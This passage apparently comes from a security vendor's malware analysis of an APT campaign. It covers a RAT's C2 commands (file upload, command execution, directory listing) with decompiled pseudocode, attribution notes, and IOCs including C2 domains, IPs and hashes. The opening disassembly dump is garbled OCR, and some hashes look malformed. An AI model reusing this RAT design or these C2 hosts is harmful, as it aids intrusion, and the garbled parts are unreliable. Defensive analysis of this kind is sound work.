.text:00007# UEDump1 address 000001/FFSC	PFALABAD 72C WEDUND 2 Hess DBA73 75 415 DBA73 75 415 DBA73 20 35 DBA73 20 35 DBA73 20 35 DBA73 20 35 DBA73 15 47 DBA83 64 64 DBA73 63 74 DBA83 64 68 DBA73 63 74 DBA83 64 68 DBA73 63 74 DBA83 64 68 DBA83 66 DBA83 66	g#45bmm*lp.dll:s0 #2 Dump 3 #2 Dum 54 20 27 7 51 54 20 27 7 7 51 54 20 70 14 52 54 54 20 70 14 54 54 54 54 20 70 14 54 54 54 54 54 54 54 54 54 54 54 54 54	TX: #CB2C 04 ### Dump 5 ## Nat 51 32 82 51 82 93 51 32 82 51 31 42 41 32 52 32 82 51 31 42 47 31 72 62 64 64 53 32 42 62 53 57 42 53 57 42 42 53 57 42 53 57 42 42 53 57 42 45 54 53 57 42 45 54 56 56 56 56	ASCII Struct ASCII Struct GET / Trock-odd PTR. Struct GADTABD-codd PTR. Struct GUADTABD-codd PTR. Struct Struct Struct <	
.text:00007/ ##0.mp1 ##0.mp1 #d0.mp1 #00001/F12Ct 000001/F12Ct 000001/F12Ct 000001/F12Ct 000001/F12Ct 000001/F12Ct 000001/F12Ct 000001/F12Ct 000001/F12Ct 000001/F12Ct	FFALABAD 72C Heat DAA53 462 45 DBA53 47 45 DBA53 47 45 DBA53 20 25 DBA53 20 25 DBA53 20 25 DBA53 20 25 DBA53 20 25 DBA53 10 26 DBA53 10 26 DBA53 10 26 DBA53 44 20 20 20 20 20 20 20 20 20 20	g#40bror 1p. d11:10 g#40bror 1p. d11:10 g#0 Demp 3 ## Dem 5 0 7 7 83 41 47 17 89 # 77 83 41 47 17 93 # 77 83 41 47 17 17 17 83 41 47 17 17 17 17 17 17 17 17 17 17 17 17 17	Stress Stres Stres Stres <th>ABC #1 Terl Localn Struct ABC #1 Terl Localn Struct BT = 7 mode = mode = 10 + 5 Struct Struct GUT = 00 + mode = 10 + 5 Struct Struct Gut = 00 + mode = 10 + 5 Struct Struct Gut = 00 + mode = 10 + 10 Struct Struct Gut = 00 + mode = 10 + 10 Struct Struct Struct = 10 + 10 + mode = 10 + 10 Struct Struct Struct = 10 + 10 + 10 + 10 Struct = 10 + 10 Struct Struct = 10 + 10 + 10 + 10 Struct = 10 + 10 Struct = 10 + 10 Struct = 10 + 10 + 10 + 10 Struct = 10 + 10 Struct = 10 + 10 Struct = 10 + 10 + 10 + 10 Struct = 10 + 10 Struct = 10 + 10 Struct = 10 + 10 + 10 + 10 Struct = 10 + 10 Struct = 10 + 10</th> <th></th>	ABC #1 Terl Localn Struct ABC #1 Terl Localn Struct BT = 7 mode = mode = 10 + 5 Struct Struct GUT = 00 + mode = 10 + 5 Struct Struct Gut = 00 + mode = 10 + 5 Struct Struct Gut = 00 + mode = 10 + 10 Struct Struct Gut = 00 + mode = 10 + 10 Struct Struct Struct = 10 + 10 + mode = 10 + 10 Struct Struct Struct = 10 + 10 + 10 + 10 Struct = 10 + 10 Struct Struct = 10 + 10 + 10 + 10 Struct = 10 + 10 Struct = 10 + 10 Struct = 10 + 10 + 10 + 10 Struct = 10 + 10 Struct = 10 + 10 Struct = 10 + 10 + 10 + 10 Struct = 10 + 10 Struct = 10 + 10 Struct = 10 + 10 + 10 + 10 Struct = 10 + 10 Struct = 10 + 10	
.text:00007	FFALABAD 72C FFALABAD 72C FEEDUND 2 EMPX DEA453 824 45 DEA453 824 45 DEA453 824 45 DEA453 20 35 DEA433 157 47 DEA433 157 47 DEA433 457 45 DEA433 157 47 DEA433 457 45 DEA433 157 47 DEA433 457 45 DEA433 457 45 DEA53 457 45 DE6453 45 45 DE6453 45 DE6454	g#+Obrmr 1p. d11:10 Sit Dump 3 Sit Dump 3 Sit Dump 3 Sit Dump 3 Sit Dump 3 Sit Dump 3 Sit 20 pr 41 Sit 20 pr 41 Sit 20 pr 41 Sit 40 Sit 20 pr 41 Sit 40 Sit 40 pr 41 Sit 40 <	TOC #CB2C 10 4 #0 Lump 5 #0 Nat 52 10 30 35 15 17 50 64 52 10 30 35 15 10 50 64 52 52 10 30 35 10 10 64 52 62 14 63 15 12 10 64 52 62 14 63 15 12 10 64 52 62 14 64 15 15 12 62 62 64 52 71 62 14 15 15 15 15 16 16 71 10<	chil Implementation Struct SEXII Control of affect Control of affect UARDITAZID CHRIVEI Control of affect Control of affect Serridge metal State Control of affect Control of affect Serridge metal State Control of affect Control of affect Serridge metal State Control of affect Control of affect Serridge metal State Control of affect Control of affect Serridge metal State Control of affect Control of affect Serridge metal State Control of affect Control of affect Serridge metal State Control of affect Control of affect Serridge metal State Control of affect Control of affect Serridge metal State Control of affect Control of affect Serridge metal Control of affect Control of affect Seridge metal Control of affect	
.text:00007 #00mp1 405*es 000001/F150 0000001/F150 000000000 00000000 0000000000 000000	PFALABAD 72C WEX DEA53 #72 45 DEA53 #72 45 DEA53 #73 75 41 DEA53 #73 75 41 DEA53 #74 75 DEA53 20 35 DEA53 20 35 DEA53 54 45 DEA53 64 45 DEA53 64 45 DEA53 64 40 DE653 64 40 DE655 100	pekberner 1p. d11:10 Tel Dunp 3 44 20 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	Y2C #CB2C 04 ## Dump 5 # 10 51 30 5 70 4 52 30 5 70 5 70 10 51 30 5 70 4 70 4 70 7	ASCII Struct ASCII Struct ASCII Struct BCT / Troit-oddaPR. Struct ASCII Struct CLNAG Struct Struct Struct Struc	

Based on the response to the above request, the malware decides which of command to execute:

1. getcomputername

. This retrieves the computer name using

GetComputerNameA

and sends a response to the C2 containing the unique id and the computer name.

2. upload

. This receives a file name and file contents from the C2 which it writes to the local file system.

3. execute

. This receives a command line instruction from the C2 and executes it using

CreateProcessA

. If the command is successful then the malware sends the UID with the "OK" string to the C2, or the output of

GetLastError

if it fails.

4. exit

. This is used to terminate the malware process.

5. ls

. This command uses a directory name from the C2, or the name of the current directory if one isn't provided. It uses the

FindFirstFile

and

FindNextFile

function to retrieve a list of all the files under the directory and sends it back to the C2.



```
directory_name = parse_response(response, v24, 0);
            if ( !directory_name )
٠
              GetCurrentDirectoryA(0x400u, v207);
•
              directory_name = sub_7FFA0F77F729(v207, 0);
            LODWORD(v26) = printf(Str, "%s\r\n", directory_name, v25);
٠
            Str = v26;
lpFileName = strlen_0(directory_name);
٠
            free_stuff_1(directory_name);
٠
٠
            v204 = -1i64;
٠
            v27 = sub_7FFA0F761020(v203);
•
            lpFileName = std_basic_string_function_append(lpFileName, v27);
            v204 = F_FirstFile(lpFileName, &FindFileData);
٠
٠
            if ( v204 == -1 )
              LODWORD(v28) = Get_LastError_0();
•
٠
             v202 = v
٠
              LODWORD(v29) = printf(Str, "%d", v28);
.
              while ( F_NextFile(v204, &FindFileData) )
                if ( (FindFileData.dwFileAttributes & 0x10) != 0 )
                  v30 = decode_str_19(v201);
                  LODWORD(v32) = printf(Str, v30, FindFileData.cFileName);
                3
                  nFileSizeLow = FindFileData.nFileSizeLow;
                  v31 = decode_str_20(v200);
                  LODWORD(v32) = printf(Str, v31, nFileSizeLow, FindFileData.cFileName);
```

Attribution

Attribution is difficult, and threat actors are known to use indicators from other groups as false flags. The attribution of the APT behind these campaigns is ongoing, but based on the infrastructure used we assess with low confidence that this group is a Chinese actor.

All of the C2s are from BL Networks, which has been used by <u>Chinese APTs</u>in the past. Also, we discovered infrastructure overlap between the malware we analyzed and the Sakula Rat malware used by the <u>Deep PandaAPT</u>.



 \bigotimes

Another interesting indicator we found was that the macro used in the Aramco campaign is almost identical to some macros used by TrickBot and BazarLoader in the past. We think the actor may have used the same macro builder to generate its macro, and they may have used it as a false flag. There are some other weak indicators, such as WolfSSL, which has been used by Lazarus and Tropic Troopers, but they are not enough to help attribute the attack to any specific actor.

Malwarebytes customers were proactively protected against these campaigns thanks to our heuristic detection engines.

= Malwarebytes	Nebula		
ull Dashboard	Displaying records for		
🖵 Endpoints			
Software Inventory	Showing 64 of 56.		
A Vulnerabilities	Drag column headers here to group results		
Patch Management	Threat name	Location	۲
🚓 Device Control	Malware.Al.4241098379	C:\USERS\	\APT\F5658588C36871421F287F12E7E9BA5AFBA783A7003DA1043A9C52D10
🕱 Detections	Malware.Al.4241098379	C:\USERS\	\APT\5D039F4368F88A2299BE91303C03143E340F700F1FC8AA0A8CDBFBC5A
Quarantine	Malware.Al.3104246557	C:\USERS\	\APT\12C20F9DBDB8955F3F88E28DC10241F35659DBCD74DADC9A10CA1B50
	Malware.Al.3104246557	C:\USERS\	\APT\3F16055DC0F79F34F7644CAE21DFE92FFC80F2C3839340A7BEEBD9436
Suspicious Activity	Malware.AI.3104246557	C:\USERS\	\APT\22BDC42A86D3C70A01C51F20F5B7CFB353319691A8102F0FE3EA02AF9
🚀 Flight Recorder	Malware.Sandbox.1	C:\USERS\	\APT\81CFDDD4E5A5E1B6E16CD9DEEBB63C45D24AE7238096E4D2884AB831
🕱 Sandbox Analysis	Malware.Al.3104246557	C:\USERS\	\APT\86ECD536C84CEC6FC07C4CB3DB63FAA84F966A95763D855C7F6D7207
Reports	Malware.Al.4241098379	C:\USERS\	\APT\CBDE42990E53F5AF37E6F6A9FD14714333B45498978A7971610ACB640

IOCs

C2 Domains

windowsipdate[.]com microsftupdetes[.]com mirror-exchange[.]com

C2 IPs

168.100.11.142 192.153.57.83 45.61.137.211 206.188.197.35

Download Domain

fatobara[.]com

Download IP

91.210.104.54

Hashes

Name	Hash
Final payload	$cbde42990e53f5af37e6f6a9fd14714333b45498978a7971610acb640dd5541\\86ecd536c84cec6fc07c4cb3db63faa84f966a95763d855c7f6d7207d672911e\\917820338751b08cefc635090fc23b4556fa77b9007a8f5d72c11e0453bfec95\\22bdc42a86d3c70a01c51f20f5b7cfb353319691a8102f0fe3ea02af9079653e\\12c20f9dbdb8955f3f88e28dc10241f35659dbcd74dadc9a10ca1b508722d69a\\3f16055dc0f79f34f7644cae21dfe92ffc80f2c3839340a7beebd9436da5d0eb\\f5658588c36871421f287f12e7e9ba5afba783a7003da1043a9c52d10354b909\\ca95e8a8b6fb11b5129821f034b337b06cdf407fa9516619f3baed450ac1cf2d\\bac1790efe7618c5b2b9e34e6e1d36ec51592869bcc5fb304dd7554c32731093\\5d039f4368f88a2299be91303c03143e340f700f1fc8aa0a8cdbfbc5a193c6be$
patch_Log4j.tar.gz	4b622d63e6886b1430f6ca9cba519cbefde60cd8b6dbcade7c3a152c3930e7c7
PDF attachment	f4db6fa3a83052152b5d16dc6a4e9749afafc026612ff5c3ad735743736ac488
Emails	0625566ec55f0a083d1c1a548a2631502f17e455066b29731e29d372918e6541 0925b3c05cef6d3476a97b7d4975e9e3ceefedf62f42663b9c02070e587b3f2d 111fef44ba63f11279572f1e7e4d6ce5613ef8fe3b76808355cdcbed47b49fec 1c886a9138f3b0e0b18f1c0da83719a9b5351db7ce24baa13c0e56ef65d96d02 1fb0cd76ec5ae70f08a87f9e81cb5e9b07f9b3306772ae723fa63ff5abfa0d07 27d19efedb6a7c8d3c65fe06fd5be9c3e236600e797e5058705db1e2335ec2ad 310fa9c65aa182a59e001e8f61c079e27d73b8eb5f8f8965509cb781d97ba811 3627b37b341efa0b36352d76480dce994f481e672ebf9fa2da114a1339cf6c01 3655420f72d0c14cfb113ccb53e9ac85b87883913c3844b3e0bfb7bd7230a9bd 3b2ef76ec2eb3b4db4b7efe14d88c5338f1dc4eb9a9cf309989362d193c25403 3e9254d8cb25b2abf4fb755feaaf41c0059c68067e64de01a9242e5d9e47ab33 3ff96e73aeb0419df67bc5fec786a4dc82e4a9051274b4fc3cbc3ae3af7fdf94 44118322165be32de86569972e9f599a3c79a2336ca6f76c29861b40905cd067 4b6b0c29ece1c4719ec4d5186fb6247603fa1f03bd473bf6ef6367995e8c1121 4f28db1131ace2fce96e84172e0a861eb471ea054799e1132eb4945e4dca550b 4f8c2079ac98a3e8e085be8e88ff7b53ea70cb131cba4bfd2784e391d24c27e9 5a662050df51863575700a8e21efe605f4c789404d4bb53b4299f32b93e8d20f 5aa0a15e052fea2a2d445940ef751ddf3d3ae7c43c095a738b9bd603efc7df8b 5b9c7fe8ee5756dbd8563b3efe8dbc096ad9044ff223b8797940f9e4e47333e 5ccf98699b96c811f4dab786cf48dc0731b098dba30e031ba4ab2a5a5a3aba8 7ee7b2193b1e53f93dc2ed573d8f927cfa0916ccf111f35faef9c4b153456f2 80a3de79f6c859d6c4667f705588c7c254d24fca2ft44704123a2ba38e7c285a9 810d6566d9879c10a6a8581bb6ea6bed83a14a869383ad7e1ee16eadfd5bbb54 811827026414bdf00257cd3f048a1c75a2b211d02ac790510b80ba0baa0702de4 81f24d1c310214b8f6345f250a6d5493e5e1cdf06d39d18a96cd9f93a1e7655 ac328efa54b6dd4497ba5dc6195474b8b9e5a7bcd32d5733e5006be9bbd0dc22 b3af28fc1b0b1180fe9f476fe2ef3970b9928b009354e996b2bf4ece223031 b95580152dde60c2c1a962cd7cee1834d0ee86490785ac02d8ee51b73be008f c9623e83d875d6b9ca1a80087151b59a4037159c605ee92c6c795252ccf89596 cd277299ed849de71e88f98c1006b0cfa65f166b0e90fc60aa50f8b86671a4c57e7 fa800e6e16444894455b2a8f9e245efbe8b29856337cea8b8e3605b05458467aeb23d8c0 e19b7df0e693c468c73f0a9e4